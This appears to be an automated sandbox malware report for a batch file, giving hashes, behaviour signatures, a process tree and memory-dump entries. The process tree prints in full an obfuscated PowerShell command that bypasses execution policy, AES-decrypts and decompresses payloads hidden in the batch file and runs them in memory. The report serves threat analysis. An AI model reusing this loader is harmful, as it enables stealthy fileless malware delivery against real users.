Analysis

  • max time kernel
    122s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    18-05-2024 04:11

General

  • Target

    dfsdfsdfdfd.bat

  • Size

    3.1MB

  • MD5

    0a58848ce845e34a7d2dbc19ce098273

  • SHA1

    94f5f718236ea1e03e3fca2c94379091bcde7b0a

  • SHA256

    79f1c664fbd6e7d4c2b5d80334beada369f6dfd124fb381eb369a5614612d742

  • SHA512

    b8bd4d237def9bee465f59c7e7613992117625495ddbf5882daf1869fb99949da08d488e452d8dafc191cebaff5368cc417988251d08076727d1c24336d9098e

  • SSDEEP

    49152:znu22u/gq5TvoJdoXJ+vtFOxSvvE+6hew+zDkoq7sNQ0TBYVlMeCEvT:B

Score
3/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\dfsdfsdfdfd.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1608
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zajFr+qbrTzqAWrV9u4GkVgssa1V+CAHIWD11CfXvpI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('J0GLdnzPAzFZi0gM9ir5bQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $QGFAi=New-Object System.IO.MemoryStream(,$param_var); $hKhJu=New-Object System.IO.MemoryStream; $slkWt=New-Object System.IO.Compression.GZipStream($QGFAi, [IO.Compression.CompressionMode]::Decompress); $slkWt.CopyTo($hKhJu); $slkWt.Dispose(); $QGFAi.Dispose(); $hKhJu.Dispose(); $hKhJu.ToArray();}function execute_function($param_var,$param2_var){ $eryyH=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uGztN=$eryyH.EntryPoint; $uGztN.Invoke($null, $param2_var);}$URwGD = 'C:\Users\Admin\AppData\Local\Temp\dfsdfsdfdfd.bat';$host.UI.RawUI.WindowTitle = $URwGD;$hufpU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($URwGD).Split([Environment]::NewLine);foreach ($eduJa in $hufpU) { if ($eduJa.StartsWith(':: ')) { $GrmAl=$eduJa.Substring(3); break; }}$payloads_var=[string[]]$GrmAl.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3036

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/3036-4-0x000007FEF5E7E000-0x000007FEF5E7F000-memory.dmp

    Filesize

    4KB

  • memory/3036-5-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

    Filesize

    2.9MB

  • memory/3036-6-0x0000000002860000-0x0000000002868000-memory.dmp

    Filesize

    32KB

  • memory/3036-7-0x000007FEF5BC0000-0x000007FEF655D000-memory.dmp

    Filesize

    9.6MB

  • memory/3036-9-0x000007FEF5BC0000-0x000007FEF655D000-memory.dmp

    Filesize

    9.6MB

  • memory/3036-8-0x000007FEF5BC0000-0x000007FEF655D000-memory.dmp

    Filesize

    9.6MB

  • memory/3036-10-0x000007FEF5BC0000-0x000007FEF655D000-memory.dmp

    Filesize

    9.6MB

  • memory/3036-11-0x000007FEF5BC0000-0x000007FEF655D000-memory.dmp

    Filesize

    9.6MB

  • memory/3036-12-0x000007FEF5BC0000-0x000007FEF655D000-memory.dmp

    Filesize

    9.6MB